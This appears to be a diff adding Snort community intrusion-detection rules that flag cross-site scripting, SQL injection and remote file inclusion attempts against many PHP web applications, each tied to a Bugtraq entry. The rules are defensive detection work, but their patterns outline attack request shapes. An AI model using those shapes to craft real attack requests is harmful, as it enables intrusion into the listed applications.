+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP cPanel select.html xss attempt"; flow:to_server,established; uricontent:"/select.html"; nocase; uricontent:"file="; nocase; pcre:"/file(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18655; classtype:web-application-attack; sid:100000683; rev:1;)
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Horde index.php show XSS attempt"; flow:established,to_server; uricontent:"/services/help/index.php"; nocase; uricontent:"show="; nocase; uricontent:"URL=javascript"; nocase; reference:bugtraq,18845; classtype:web-application-attack; sid:100000703; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP SmartSiteCMS comment.php remote file include"; flow:to_server,established; uricontent:"/comment.php"; nocase; uricontent:"root="; nocase; pcre:"/root=(https?|ftp)/Ui"; reference:bugtraq,18697; classtype:web-application-attack; sid:100000704; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP SmartSiteCMS test.php remote file include"; flow:to_server,established; uricontent:"admin/test.php"; nocase; uricontent:"root="; nocase; pcre:"/root=(https?|ftp)/Ui"; reference:bugtraq,18697; classtype:web-application-attack; sid:100000705; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP SmartSiteCMS index.php remote file include"; flow:to_server,established; uricontent:"admin/index.php"; nocase; uricontent:"root="; nocase; pcre:"/root=(https?|ftp)/Ui"; reference:bugtraq,18697; classtype:web-application-attack; sid:100000706; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP SmartSiteCMS inc_adminfoot.php remote file include"; flow:to_server,established; uricontent:"admin/include/inc_adminfoot.php"; nocase; uricontent:"root="; nocase; pcre:"/root=(https?|ftp)/Ui"; reference:bugtraq,18697; classtype:web-application-attack; sid:100000707; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP SmartSiteCMS comedit.php remote file include"; flow:to_server,established; uricontent:"admin/comedit.php"; nocase; uricontent:"root="; nocase; pcre:"/root=(https?|ftp)/Ui"; reference:bugtraq,18697; classtype:web-application-attack; sid:100000708; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP SquirrelMail search.php xss attempt"; flow:to_server,established; uricontent:"/search.php"; nocase; uricontent:"mailbox="; nocase; pcre:"/mailbox(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18700; classtype:web-application-attack; sid:100000709; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Xoops MyAds Module annonces-p-f.php SQL injection attempt"; flow:to_server,established; uricontent:"/annonces-p-f.php"; nocase; uricontent:"lid="; nocase; pcre:"/lid(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18718; classtype:web-application-attack; sid:100000710; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPRaid raids.php remote file include"; flow:to_server,established; uricontent:"/raids.php"; nocase; uricontent:"phpraid_dir="; nocase; pcre:"/phpraid_dir=(https?|ftp)/Ui"; reference:bugtraq,18719; classtype:web-application-attack; sid:100000711; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPRaid register.php remote file include"; flow:to_server,established; uricontent:"/register.php"; nocase; uricontent:"phpraid_dir="; nocase; pcre:"/phpraid_dir=(https?|ftp)/Ui"; reference:bugtraq,18719; classtype:web-application-attack; sid:100000712; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPRaid roster.php remote file include"; flow:to_server,established; uricontent:"/roster.php"; nocase; uricontent:"phpraid_dir="; nocase; pcre:"/phpraid_dir=(https?|ftp)/Ui"; reference:bugtraq,18719; classtype:web-application-attack; sid:100000713; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPRaid view.php remote file include"; flow:to_server,established; uricontent:"/view.php"; nocase; uricontent:"phpraid_dir="; nocase; pcre:"/phpraid_dir=(https?|ftp)/Ui"; reference:bugtraq,18719; classtype:web-application-attack; sid:100000714; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPRaid logs.php remote file include"; flow:to_server,established; uricontent:"/logs.php"; nocase; uricontent:"phpraid_dir="; nocase; pcre:"/phpraid_dir=(https?|ftp)/Ui"; reference:bugtraq,18719; classtype:web-application-attack; sid:100000715; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPRaid users.php remote file include"; flow:to_server,established; uricontent:"/users.php"; nocase; uricontent:"phpraid_dir="; nocase; pcre:"/phpraid_dir=(https?|ftp)/Ui"; reference:bugtraq,18719; classtype:web-application-attack; sid:100000716; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPRaid configuration.php remote file include"; flow:to_server,established; uricontent:"/configuration.php"; nocase; uricontent:"phpraid_dir="; nocase; pcre:"/phpraid_dir=(https?|ftp)/Ui"; reference:bugtraq,18719; classtype:web-application-attack; sid:100000717; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPRaid guilds.php remote file include"; flow:to_server,established; uricontent:"/guilds.php"; nocase; uricontent:"phpraid_dir="; nocase; pcre:"/phpraid_dir=(https?|ftp)/Ui"; reference:bugtraq,18719; classtype:web-application-attack; sid:100000718; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPRaid index.php remote file include"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"phpraid_dir="; nocase; pcre:"/phpraid_dir=(https?|ftp)/Ui"; reference:bugtraq,18719; classtype:web-application-attack; sid:100000719; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPRaid locations.php remote file include"; flow:to_server,established; uricontent:"/locations.php"; nocase; uricontent:"phpraid_dir="; nocase; pcre:"/phpraid_dir=(https?|ftp)/Ui"; reference:bugtraq,18719; classtype:web-application-attack; sid:100000720; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPRaid login.php remote file include"; flow:to_server,established; uricontent:"/login.php"; nocase; uricontent:"phpraid_dir="; nocase; pcre:"/phpraid_dir=(https?|ftp)/Ui"; reference:bugtraq,18719; classtype:web-application-attack; sid:100000721; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPRaid lua_output.php remote file include"; flow:to_server,established; uricontent:"/lua_output.php"; nocase; uricontent:"phpraid_dir="; nocase; pcre:"/phpraid_dir=(https?|ftp)/Ui"; reference:bugtraq,18719; classtype:web-application-attack; sid:100000722; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPRaid permissions.php remote file include"; flow:to_server,established; uricontent:"/permissions.php"; nocase; uricontent:"phpraid_dir="; nocase; pcre:"/phpraid_dir=(https?|ftp)/Ui"; reference:bugtraq,18719; classtype:web-application-attack; sid:100000723; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPRaid profile.php remote file include"; flow:to_server,established; uricontent:"/profile.php"; nocase; uricontent:"phpraid_dir="; nocase; pcre:"/phpraid_dir=(https?|ftp)/Ui"; reference:bugtraq,18719; classtype:web-application-attack; sid:100000724; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPRaid view.php SQL injection attempt"; flow:to_server,established; uricontent:"/view.php"; nocase; uricontent:"raid_id="; nocase; pcre:"/raid_id(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18720; classtype:web-application-attack; sid:100000725; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Vincent-Leclercq News diver.php SQL injection attempt"; flow:to_server,established; uricontent:"/diver.php"; nocase; uricontent:"id="; nocase; pcre:"/id(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18729; classtype:web-application-attack; sid:100000726; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Softbiz Banner Exchange insertmember.php xss attempt"; flow:to_server,established; uricontent:"/insertmember.php"; nocase; uricontent:"city="; nocase; pcre:"/city(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18735; classtype:web-application-attack; sid:100000727; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Geeklog functions.inc remote file include"; flow:to_server,established; uricontent:"plugins/links/functions.inc"; nocase; uricontent:"$_CONF[path]="; nocase; pcre:"/\$_CONF\[path\]=(https?|ftp)/Ui"; reference:bugtraq,18740; classtype:web-application-attack; sid:100000728; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Geeklog functions.inc remote file include"; flow:to_server,established; uricontent:"plugins/polls/functions.inc"; nocase; uricontent:"$_CONF[path]="; nocase; pcre:"/\$_CONF\[path\]=(https?|ftp)/Ui"; reference:bugtraq,18740; classtype:web-application-attack; sid:100000729; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Geeklog BlackList.Examine.class.php remote file include"; flow:to_server,established; uricontent:"plugins/spamx/BlackList.Examine.class.php"; nocase; uricontent:"$_CONF[path]="; nocase; pcre:"/\$_CONF\[path\]=(https?|ftp)/Ui"; reference:bugtraq,18740; classtype:web-application-attack; sid:100000730; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Geeklog DeleteComment.Action.class.php remote file include"; flow:to_server,established; uricontent:"plugins/spamx/DeleteComment.Action.class.php"; nocase; uricontent:"$_CONF[path]="; nocase; pcre:"/\$_CONF\[path\]=(https?|ftp)/Ui"; reference:bugtraq,18740; classtype:web-application-attack; sid:100000731; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Geeklog EditIPofURL.Admin.class.php remote file include"; flow:to_server,established; uricontent:"plugins/spamx/EditIPofURL.Admin.class.php"; nocase; uricontent:"$_CONF[path]="; nocase; pcre:"/\$_CONF\[path\]=(https?|ftp)/Ui"; reference:bugtraq,18740; classtype:web-application-attack; sid:100000732; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Geeklog MTBlackList.Examine.class.php remote file include"; flow:to_server,established; uricontent:"plugins/spamx/MTBlackList.Examine.class.php"; nocase; uricontent:"$_CONF[path]="; nocase; pcre:"/\$_CONF\[path\]=(https?|ftp)/Ui"; reference:bugtraq,18740; classtype:web-application-attack; sid:100000733; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Geeklog MassDelete.Admin.class.php remote file include"; flow:to_server,established; uricontent:"plugins/spamx/MassDelete.Admin.class.php"; nocase; uricontent:"$_CONF[path]="; nocase; pcre:"/\$_CONF\[path\]=(https?|ftp)/Ui"; reference:bugtraq,18740; classtype:web-application-attack; sid:100000734; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Geeklog MailAdmin.Action.class.php remote file include"; flow:to_server,established; uricontent:"plugins/spamx/MailAdmin.Action.class.php"; nocase; uricontent:"$_CONF[path]="; nocase; pcre:"/\$_CONF\[path\]=(https?|ftp)/Ui"; reference:bugtraq,18740; classtype:web-application-attack; sid:100000735; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Geeklog MassDelTrackback.Admin.class.php remote file include"; flow:to_server,established; uricontent:"plugins/spamx/MassDelTrackback.Admin.class.php"; nocase; uricontent:"$_CONF[path]="; nocase; pcre:"/\$_CONF\[path\]=(https?|ftp)/Ui"; reference:bugtraq,18740; classtype:web-application-attack; sid:100000736; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Geeklog EditHeader.Admin.class.php remote file include"; flow:to_server,established; uricontent:"plugins/spamx/EditHeader.Admin.class.php"; nocase; uricontent:"$_CONF[path]="; nocase; pcre:"/\$_CONF\[path\]=(https?|ftp)/Ui"; reference:bugtraq,18740; classtype:web-application-attack; sid:100000737; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Geeklog EditIP.Admin.class.php remote file include"; flow:to_server,established; uricontent:"plugins/spamx/EditIP.Admin.class.php"; nocase; uricontent:"$_CONF[path]="; nocase; pcre:"/\$_CONF\[path\]=(https?|ftp)/Ui"; reference:bugtraq,18740; classtype:web-application-attack; sid:100000738; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Geeklog IPofUrl.Examine.class.php remote file include"; flow:to_server,established; uricontent:"plugins/spamx/IPofUrl.Examine.class.php"; nocase; uricontent:"$_CONF[path]="; nocase; pcre:"/\$_CONF\[path\]=(https?|ftp)/Ui"; reference:bugtraq,18740; classtype:web-application-attack; sid:100000739; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Geeklog Import.Admin.class.php remote file include"; flow:to_server,established; uricontent:"plugins/spamx/Import.Admin.class.php"; nocase; uricontent:"$_CONF[path]="; nocase; pcre:"/\$_CONF\[path\]=(https?|ftp)/Ui"; reference:bugtraq,18740; classtype:web-application-attack; sid:100000740; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Geeklog LogView.Admin.class.php remote file include"; flow:to_server,established; uricontent:"plugins/spamx/LogView.Admin.class.php"; nocase; uricontent:"$_CONF[path]="; nocase; pcre:"/\$_CONF\[path\]=(https?|ftp)/Ui"; reference:bugtraq,18740; classtype:web-application-attack; sid:100000741; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Geeklog functions.inc remote file include"; flow:to_server,established; uricontent:"plugins/staticpages/functions.inc"; nocase; uricontent:"$_CONF[path]="; nocase; pcre:"/\$_CONF\[path\]=(https?|ftp)/Ui"; reference:bugtraq,18740; classtype:web-application-attack; sid:100000742; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Plume CMS dbinstall.php remote file include"; flow:to_server,established; uricontent:"/dbinstall.php"; nocase; uricontent:"_PX_config[manager_path]="; nocase; pcre:"/_PX_config\[manager_path\]=(https?|ftp)/Ui"; reference:bugtraq,18750; classtype:web-application-attack; sid:100000743; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MyNewsGroups tree.php SQL injection attempt"; flow:to_server,established; uricontent:"/tree.php"; nocase; uricontent:"grp_id="; nocase; pcre:"/grp_id(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18757; classtype:web-application-attack; sid:100000744; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Diesel Joke Site category.php SQL injection attempt"; flow:to_server,established; uricontent:"/category.php"; nocase; uricontent:"id="; nocase; pcre:"/id(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18760; classtype:web-application-attack; sid:100000745; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Randshop header.inc.php remote file include"; flow:to_server,established; uricontent:"/header.inc.php"; nocase; uricontent:"dateiPfad="; nocase; pcre:"/dateiPfad=(https?|ftp)/Ui"; reference:bugtraq,18763; classtype:web-application-attack; sid:100000746; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Plume CMS index.php remote file include"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"_PX_config[manager_path]="; nocase; pcre:"/_PX_config\[manager_path\]=(https?|ftp)/Ui"; reference:bugtraq,18780; classtype:web-application-attack; sid:100000747; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Plume CMS rss.php remote file include"; flow:to_server,established; uricontent:"/rss.php"; nocase; uricontent:"_PX_config[manager_path]="; nocase; pcre:"/_PX_config\[manager_path\]=(https?|ftp)/Ui"; reference:bugtraq,18780; classtype:web-application-attack; sid:100000748; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Plume CMS search.php remote file include"; flow:to_server,established; uricontent:"/search.php"; nocase; uricontent:"_PX_config[manager_path]="; nocase; pcre:"/_PX_config\[manager_path\]=(https?|ftp)/Ui"; reference:bugtraq,18780; classtype:web-application-attack; sid:100000749; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Free QBoard index.php remote file include"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"qb_path="; nocase; pcre:"/qb_path=(https?|ftp)/Ui"; reference:bugtraq,18788; classtype:web-application-attack; sid:100000750; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Free QBoard about.php remote file include"; flow:to_server,established; uricontent:"/about.php"; nocase; uricontent:"qb_path="; nocase; pcre:"/qb_path=(https?|ftp)/Ui"; reference:bugtraq,18788; classtype:web-application-attack; sid:100000751; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Free QBoard contact.php remote file include"; flow:to_server,established; uricontent:"/contact.php"; nocase; uricontent:"qb_path="; nocase; pcre:"/qb_path=(https?|ftp)/Ui"; reference:bugtraq,18788; classtype:web-application-attack; sid:100000752; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Free QBoard delete.php remote file include"; flow:to_server,established; uricontent:"/delete.php"; nocase; uricontent:"qb_path="; nocase; pcre:"/qb_path=(https?|ftp)/Ui"; reference:bugtraq,18788; classtype:web-application-attack; sid:100000753; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Free QBoard faq.php remote file include"; flow:to_server,established; uricontent:"/faq.php"; nocase; uricontent:"qb_path="; nocase; pcre:"/qb_path=(https?|ftp)/Ui"; reference:bugtraq,18788; classtype:web-application-attack; sid:100000754; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Free QBoard features.php remote file include"; flow:to_server,established; uricontent:"/features.php"; nocase; uricontent:"qb_path="; nocase; pcre:"/qb_path=(https?|ftp)/Ui"; reference:bugtraq,18788; classtype:web-application-attack; sid:100000755; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Free QBoard history.php remote file include"; flow:to_server,established; uricontent:"/history.php"; nocase; uricontent:"qb_path="; nocase; pcre:"/qb_path=(https?|ftp)/Ui"; reference:bugtraq,18788; classtype:web-application-attack; sid:100000756; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP QTO File Manager qtofm.php xss attempt"; flow:to_server,established; uricontent:"/qtofm.php"; nocase; uricontent:"delete="; nocase; pcre:"/delete(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18791; classtype:web-application-attack; sid:100000757; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP QTO File Manager qtofm.php xss attempt"; flow:to_server,established; uricontent:"/qtofm.php"; nocase; uricontent:"pathext="; nocase; pcre:"/pathext(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18791; classtype:web-application-attack; sid:100000758; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP QTO File Manager qtofm.php xss attempt"; flow:to_server,established; uricontent:"/qtofm.php"; nocase; uricontent:"edit="; nocase; pcre:"/edit(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18791; classtype:web-application-attack; sid:100000759; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP The Banner Engine top.php xss attempt"; flow:to_server,established; uricontent:"/top.php"; nocase; uricontent:"text="; nocase; pcre:"/text(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18793; classtype:web-application-attack; sid:100000760; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPWebGallery comments.php xss attempt"; flow:to_server,established; uricontent:"/comments.php"; nocase; uricontent:"keyword="; nocase; pcre:"/keyword(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18798; classtype:web-application-attack; sid:100000761; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Randshop index.php remote file include"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"incl="; nocase; pcre:"/incl=(https?|ftp)/Ui"; reference:bugtraq,18809; classtype:web-application-attack; sid:100000762; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Kamikaze-QSCM config.inc access"; flow:to_server,established; uricontent:"/config.inc"; nocase; uricontent:"="; nocase;  reference:bugtraq,18816; classtype:web-application-activity; sid:100000763; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MyPHP CMS global_header.php remote file include"; flow:to_server,established; uricontent:"/global_header.php"; nocase; uricontent:"domain="; nocase; pcre:"/domain=(https?|ftp)/Ui"; reference:bugtraq,18834; classtype:web-application-attack; sid:100000764; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP LifeType index.php SQL injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"date="; nocase; pcre:"/date(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18835; classtype:web-application-attack; sid:100000765; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Blog CMS thumb.php remote file include"; flow:to_server,established; uricontent:"/thumb.php"; nocase; uricontent:"gallery="; nocase; pcre:"/gallery=(https?|ftp)/Ui"; reference:bugtraq,18837; classtype:web-application-attack; sid:100000766; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"item="; nocase; pcre:"/item(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18839; classtype:web-application-attack; sid:100000767; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"blog="; nocase; pcre:"/blog(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18839; classtype:web-application-attack; sid:100000768; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"member="; nocase; pcre:"/member(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18839; classtype:web-application-attack; sid:100000769; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"typeface="; nocase; pcre:"/typeface(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18839; classtype:web-application-attack; sid:100000770; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"results="; nocase; pcre:"/results(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18839; classtype:web-application-attack; sid:100000771; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"DokiWiki="; nocase; pcre:"/DokiWiki(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18839; classtype:web-application-attack; sid:100000772; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"archives="; nocase; pcre:"/archives(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18839; classtype:web-application-attack; sid:100000773; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"category="; nocase; pcre:"/category(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18839; classtype:web-application-attack; sid:100000774; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"PHPSESSID="; nocase; pcre:"/PHPSESSID(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18839; classtype:web-application-attack; sid:100000775; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"query="; nocase; pcre:"/query(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18839; classtype:web-application-attack; sid:100000776; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Blog CMS action.php SQL injection attempt"; flow:to_server,established; uricontent:"/action.php"; nocase; uricontent:"action="; nocase; pcre:"/action(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18839; classtype:web-application-attack; sid:100000777; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPMailList maillist.php xss attempt"; flow:to_server,established; uricontent:"/maillist.php"; nocase; uricontent:"email="; nocase; pcre:"/email(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18840; classtype:web-application-attack; sid:100000778; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Horde index.php xss attempt"; flow:to_server,established; uricontent:"services/help/index.php"; nocase; uricontent:"show="; nocase; pcre:"/show(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18845; classtype:web-application-attack; sid:100000779; rev:1;)
